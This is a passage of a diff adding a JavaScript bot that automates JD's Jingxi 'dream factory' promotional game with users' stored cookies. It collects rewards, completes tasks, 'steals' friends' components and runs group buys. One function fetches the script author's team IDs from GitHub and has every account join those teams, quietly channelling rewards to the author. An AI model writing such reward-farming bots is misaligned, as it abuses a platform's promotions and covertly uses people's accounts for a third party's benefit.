`factoryid=${$.factoryId}`, `_time,factoryid,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`发电机:当前 ${data.data.currentElectricityQuantity} 电力,最大值 ${data.data.maxElectricityQuantity} 电力`) + if (data.data.currentElectricityQuantity < data.data.maxElectricityQuantity) { + $.log(`\n本次发电机电力集满分享后${data.data.nextCollectDoubleFlag === 1 ? '可' : '不可'}获得双倍电力,${data.data.nextCollectDoubleFlag === 1 ? '故目前不收取电力' : '故现在收取电力'}\n`) + } + if (data.data.nextCollectDoubleFlag === 1) { + if (data.data.currentElectricityQuantity === data.data.maxElectricityQuantity && data.data.doubleElectricityFlag) { + console.log(`发电机:电力可翻倍并收获`) + // await shareReport(); + await collectElectricity() + } else { + message += `【发电机电力】当前 ${data.data.currentElectricityQuantity} 电力,未达到收获标准\n` + } + } else { + //再收取双倍电力达到上限时,直接收取,不再等到满级 + await collectElectricity() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//查询有多少的招工电力可收取 +function QueryHireReward() { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/QueryHireReward', ``, `_time,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + for (let item of data['data']['hireReward']) { + if (item.date !== new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).Format("yyyyMMdd")) { + await hireAward(item.date, item.type); + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 收取招工/劳模电力 +function hireAward(date, type = 0) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/HireAward', `date=${date}&type=${type}`, '_time,date,type,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`打工电力:收取成功`) + message += `【打工电力】:收取成功\n` + } else { + console.log(`打工电力:收取失败,${data.msg}`) + message += `【打工电力】收取失败,${data.msg}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + let Hours = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).getHours(); + if (Hours < 6) { + console.log(`\n未到招工时间(每日6-24点之间可招工)\n`) + return + } + if ($.canHelpFlag) { + await shareCodesFormat(); + for (let code of $.newShareCodes) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} +// 帮助用户,此处UA不可更换,否则助力功能会失效 +function assistFriend(sharepin) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1` + // const options = { + // 'url': `https://m.jingxi.com/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1`, + // 'headers': { + // "Accept": "*/*", + // "Accept-Encoding": "gzip, deflate, br", + // "Accept-Language": "zh-cn", + // "Connection": "keep-alive", + // "Cookie": cookie, + // "Host": "m.jingxi.com", + // "Referer": "https://st.jingxi.com/pingou/dream_factory/index.html", + // "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" + // } + // } + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // console.log(`助力朋友:${sharepin}成功`) + // } else { + // console.log(`助力朋友[${sharepin}]失败:${data.msg}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询助力招工情况 +function QueryFriendList() { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFriendList', ``, `_time,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const { assistListToday = [], assistNumMax, hireListToday = [], hireNumMax } = data; + console.log(`\n\n你今日还能帮好友打工(${assistNumMax - assistListToday.length || 0}/${assistNumMax})次\n\n`); + if (assistListToday.length === assistNumMax) { + $.canHelpFlag = false; + } + $.log(`【今日招工进度】${hireListToday.length}/${hireNumMax}`); + message += `【招工进度】${hireListToday.length}/${hireNumMax}\n`; + } else { + console.log(`QueryFriendList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 任务领奖 +function completeTask(taskId, taskName) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/Award?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('Award', taskId, `_time,bizCode,source,taskId`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (data['data']['awardStatus']) { + case 1: + $.ele += Number(data['data']['prizeInfo'].replace('\\n', '')) + console.log(`领取${taskName}任务奖励成功,收获:${Number(data['data']['prizeInfo'].replace('\\n', ''))}电力`); + break + case 1013: + case 0: + console.log(`领取${taskName}任务奖励失败,任务已领奖`); + break + default: + console.log(`领取${taskName}任务奖励失败,${data['msg']}`) + break + } + // if (data['ret'] === 0) { + // console.log("做任务完成!") + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 完成任务 +function doTask(taskId) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/DoTask?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('DoTask', taskId, '_time,bizCode,configExtra,source,taskId'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log("做任务完成!") + } else { + console.log(`DoTask异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId;//工厂ID + $.productionId = production.productionId;//商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + // subTitle = data.user.pin; + await GetCommodityDetails();//获取已选购的商品信息 + if (productionStage['productionStageAwardStatus'] === 1) { + $.log(`可以开红包了\n`); + await DrawProductionStagePrize();//领取红包 + } else { + $.log(`再加${productionStage['productionStageProgress']}电力可开红包\n`) + } + console.log(`当前电力:${data.user.electric}`) + console.log(`当前等级:${data.user.currentLevel}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`); + console.log(`已投入电力:${production.investedElectric}`); + console.log(`所需电力:${production.needElectric}`); + console.log(`生产进度:${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%`); + message += `【京东账号${$.index}】${$.nickName}\n` + message += `【生产商品】${$.productName}\n`; + message += `【当前等级】${data.user.userIdentity} ${data.user.currentLevel}\n`; + message += `【生产进度】${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%\n`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) $.log(`\n\n可以兑换商品了`) + if (production['exchangeStatus'] === 3) { + $.log(`\n\n商品兑换已超时`) + if (new Date().getHours() === 9) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`) + if (`${notifyLevel}` === '3' || `${notifyLevel}` === '2') allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } + // await exchangeProNotify() + } else { + console.log(`\n\n预计最快还需 【${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(2)}天】生产完毕\n\n`) + } + if (production.status === 3) { + $.log(`\n\n商品生产已失效`) + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造`) + if ($.isNode() && (`${notifyLevel}` === '3' || `${notifyLevel}` === '2')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if (nowTimes.getHours() === 12) { + //如按每小时运行一次,则此处将一天12点推送1次提醒 + $.msg($.name, '提醒⏰', `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`); + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`) + if ($.isNode() && `${notifyLevel}` === '3') allMessage += `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(taskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.productName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 查询已完成商品 +function GetShelvesList(pageNo = 1) { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetShelvesList', `pageNo=${pageNo}&pageSize=12`, `_time,pageNo,pageSize,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const { shelvesList } = data; + if (shelvesList) { + $.shelvesList = [...$.shelvesList, ...shelvesList]; + pageNo ++ + GetShelvesList(pageNo); + } + } else { + console.log(`GetShelvesList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取红包 +function DrawProductionStagePrize() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/DrawProductionStagePrize?zone=dream_factory&sceneval=2&g_login_type=1&productionId=${$.productionId}`; + $.get(taskurl('userinfo/DrawProductionStagePrize', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`开幸运红包:${data}`); + // if (safeGet(data)) { + // data = JSON.parse(data); + // if (data['ret'] === 0) { + // + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function PickUp(encryptPin = $.encryptPin, help = false) { + $.pickUpMyselfComponent = true; + const GetUserComponentRes = await GetUserComponent(encryptPin, 1500); + if (GetUserComponentRes && GetUserComponentRes['ret'] === 0 && GetUserComponentRes['data']) { + const { componentList } = GetUserComponentRes['data']; + if (componentList && componentList.length <= 0) { + if (help) { + $.log(`好友【${encryptPin}】地下暂无零件可收\n`) + } else { + $.log(`自家地下暂无零件可收\n`) + } + $.pickUpMyselfComponent = false; + } + for (let item of componentList) { + await $.wait(1000); + const PickUpComponentRes = await PickUpComponent(item['placeId'], encryptPin); + if (PickUpComponentRes) { + if (PickUpComponentRes['ret'] === 0) { + const data = PickUpComponentRes['data']; + if (help) { + console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + $.pickFriendEle += data['increaseElectric']; + } else { + console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + $.pickEle += data['increaseElectric']; + } + } else { + if (help) { + console.log(`收好友[${encryptPin}]零件失败:${PickUpComponentRes.msg},直接跳出\n`) + } else { + console.log(`收自己地下零件失败:${PickUpComponentRes.msg},直接跳出\n`); + $.pickUpMyselfComponent = false; + } + break + } + } + } + } +} +function GetUserComponent(pin = $.encryptPin, timeout = 0) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskurl('usermaterial/GetUserComponent', `pin=${pin}`, `_time,pin,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + + } else { + console.log(`GetUserComponent失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +//收取地下随机零件电力API + +function PickUpComponent(index, encryptPin) { + return new Promise(resolve => { + $.get(taskurl('usermaterial/PickUpComponent', `placeId=${index}&pin=${encryptPin}`, `_time,pin,placeId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // data = data['data']; + // if (help) { + // console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickFriendEle += data['increaseElectric']; + // } else { + // console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickEle += data['increaseElectric']; + // } + // } else { + // if (help) { + // console.log(`收好友[${encryptPin}]零件失败:${JSON.stringify(data)}`) + // } else { + // console.log(`收零件失败:${JSON.stringify(data)}`) + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//偷好友的电力 +async function stealFriend() { + // if (!$.pickUpMyselfComponent) { + // $.log(`今日收取零件已达上限,偷好友零件也达到上限,故跳出`) + // return + // } + //调整,只在每日1点,12点,19点尝试收取好友零件 + if (new Date().getHours() !== 1 && new Date().getHours() !== 12 && new Date().getHours() !== 19) return + await getFriendList(); + $.friendList = [...new Set($.friendList)].filter(vo => !!vo && vo['newFlag'] !== 1); + console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + for (let i = 0; i < $.friendList.length; i++) { + let pin = $.friendList[i]['encryptPin'];//好友的encryptPin + console.log(`\n开始收取第 ${i + 1} 个好友 【${$.friendList[i]['nickName']}】 地下零件 collectFlag:${$.friendList[i]['collectFlag']}`) + await PickUp(pin, true); + // await getFactoryIdByPin(pin);//获取好友工厂ID + // if ($.stealFactoryId) await collectElectricity($.stealFactoryId,true, pin); + } +} +function getFriendList(sort = 0) { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFactoryManagerList', `sort=${sort}`, `_time,sort,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + if (data.list && data.list.length <= 0) { + // console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + return + } + let friendsEncryptPins = []; + for (let item of data.list) { + friendsEncryptPins.push(item); + } + $.friendList = [...$.friendList, ...friendsEncryptPins]; + // if (!$.isNode()) return + await getFriendList(data.sort); + } else { + console.log(`QueryFactoryManagerList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getFactoryIdByPin(pin) { + return new Promise((resolve, reject) => { + // const url = `/dreamfactory/userinfo/GetUserInfoByPin?zone=dream_factory&pin=${pin}&sceneval=2`; + $.get(taskurl('userinfo/GetUserInfoByPin', `pin=${pin}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (data.data.factoryList) { + //做此判断,有时候返回factoryList为null + // resolve(data['data']['factoryList'][0]['factoryId']) + $.stealFactoryId = data['data']['factoryList'][0]['factoryId']; + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function tuanActivity() { + const tuanConfig = await QueryActiveConfig(); + if (tuanConfig && tuanConfig.ret === 0) { + const { activeId, surplusOpenTuanNum, tuanId } = tuanConfig['data']['userTuanInfo']; + console.log(`今日剩余开团次数:${surplusOpenTuanNum}次`); + $.surplusOpenTuanNum = surplusOpenTuanNum; + if (!tuanId && surplusOpenTuanNum > 0) { + //开团 + $.log(`准备开团`) + await CreateTuan(); + } else if (tuanId) { + //查询词团信息 + const QueryTuanRes = await QueryTuan(activeId, tuanId); + if (QueryTuanRes && QueryTuanRes.ret === 0) { + const { tuanInfo } = QueryTuanRes.data; + if ((tuanInfo && tuanInfo[0]['endTime']) <= QueryTuanRes['nowTime'] && surplusOpenTuanNum > 0) { + $.log(`之前的团已过期,准备重新开团\n`) + await CreateTuan(); + return + } + for (let item of tuanInfo) { + const { realTuanNum, tuanNum, userInfo } = item; + $.tuanNum = tuanNum || 0; + $.log(`\n开团情况:${realTuanNum}/${tuanNum}\n`); + if (realTuanNum === tuanNum) { + for (let user of userInfo) { + if (user.encryptPin === $.encryptPin) { + if (user.receiveElectric && user.receiveElectric > 0) { + console.log(`您在${new Date(user.joinTime * 1000).toLocaleString()}开团奖励已经领取成功\n`) + if ($.surplusOpenTuanNum > 0) await CreateTuan(); + } else { + $.log(`开始领取开团奖励`); + await tuanAward(item.tuanActiveId, item.tuanId);//isTuanLeader + } + } + } + } else { + $.tuanIds.push(tuanId); + $.log(`\n此团未达领取团奖励人数:${tuanNum}人\n`) + } + } + } + } + } +} +async function joinLeaderTuan() { + let res = await updateTuanIdsCDN('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateFactoryTuanId.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await updateTuanIdsCDN('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'); + } + $.authorTuanIds = [...(res && res.tuanIds || [])] + if ($.authorTuanIds && $.authorTuanIds.length) { + for (let tuanId of $.authorTuanIds) { + if (!tuanId) continue + if (!$.canHelp) break; + console.log(`\n账号${$.UserName} 参加作者的团 【${tuanId}】`); + await JoinTuan(tuanId); + await $.wait(1000); + } + } +} +//可获取开团后的团ID,如果团ID为空并且surplusOpenTuanNum>0,则可继续开团 +//如果团ID不为空,则查询QueryTuan() +function QueryActiveConfig() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=`; + const options = taskTuanUrl(`QueryActiveConfig`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { userTuanInfo } = data['data']; + console.log(`\n团活动ID ${userTuanInfo.activeId}`); + console.log(`团ID ${userTuanInfo.tuanId}\n`); + } else { + console.log(`QueryActiveConfig异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function QueryTuan(activeId, tuanId) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`QueryTuan`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + // $.log(`\n开团情况:${data.data.tuanInfo.realTuanNum}/${data.data.tuanInfo.tuanNum}\n`) + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团API +function CreateTuan() { + return new Promise((resolve) => { + const body =`activeId=${escape(tuanActiveId)}&isOpenApp=1` + const options = taskTuanUrl(`CreateTuan`, body, '_time,activeId,isOpenApp') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`【开团成功】tuanId为 ${data.data['tuanId']}`); + $.tuanIds.push(data.data['tuanId']); + } else { + //{"msg":"活动已结束,请稍后再试~","nowTime":1621551005,"ret":10218} + if (data['ret'] === 10218 && !hasSend && (new Date().getHours() % 6 === 0)) { + hasSend = true; + $.msg($.name, '', `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`); + if ($.isNode()) await notify.sendNotify($.name, `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`) + } + console.log(`开团异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function JoinTuan(tuanId, stk = '_time,activeId,tuanId') { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`JoinTuan`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`参团成功:${JSON.stringify(data)}\n`); + } else if (data['ret'] === 10005 || data['ret'] === 10206) { + //火爆,或者今日参团机会已耗尽 + console.log(`参团失败:${JSON.stringify(data)}\n`); + $.canHelp = false; + } else { + console.log(`参团失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询所有的团情况(自己开团以及参加别人的团) +function QueryAllTuan() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&pageNo=1&pageSize=10`; + const options = taskTuanUrl(`QueryAllTuan`, body, '_time,activeId,pageNo,pageSize') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { tuanInfo } = data; + for (let item of tuanInfo) { + if (item.tuanNum === item.realTuanNum) { + // console.log(`参加团主【${item.tuanLeader}】已成功`) + const { userInfo } = item; + for (let item2 of userInfo) { + if (item2.encryptPin === $.encryptPin) { + if (item2.receiveElectric && item2.receiveElectric > 0) { + console.log(`${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励已经领取成功`) + } else { + console.log(`开始领取${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励`) + await tuanAward(item.tuanActiveId, item.tuanId, item.tuanLeader === $.encryptPin);//isTuanLeader + } + } + } + } else { + console.log(`${new Date(item.beginTime * 1000).toLocaleString()}参加团主【${item.tuanLeader}】失败`) + } + } + } else { + console.log(`QueryAllTuan异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团人的领取奖励API +function tuanAward(activeId, tuanId, isTuanLeader = true) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`Award`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (isTuanLeader) { + console.log(`开团奖励(团长)${data.data['electric']}领取成功`); + message += `【开团(团长)奖励】${data.data['electric']}领取成功\n`; + if ($.surplusOpenTuanNum > 0) { + $.log(`开团奖励(团长)已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`参团奖励${data.data['electric']}领取成功`); + message += `【参团奖励】${data.data['electric']}领取成功\n`; + } + } else if (data['ret'] === 10212) { + console.log(`${JSON.stringify(data)}`); + + if (isTuanLeader && $.surplusOpenTuanNum > 0) { + $.log(`团奖励已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function updateTuanIdsCDN(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + $.tuanConfigs = data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000) + resolve(); + }) +} + +//商品可兑换时的通知 +async function exchangeProNotify() { + await GetShelvesList(); + let exchangeEndTime, exchangeEndHours, nowHours; + //脚本运行的UTC+8时区的时间戳 + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if ($.shelvesList && 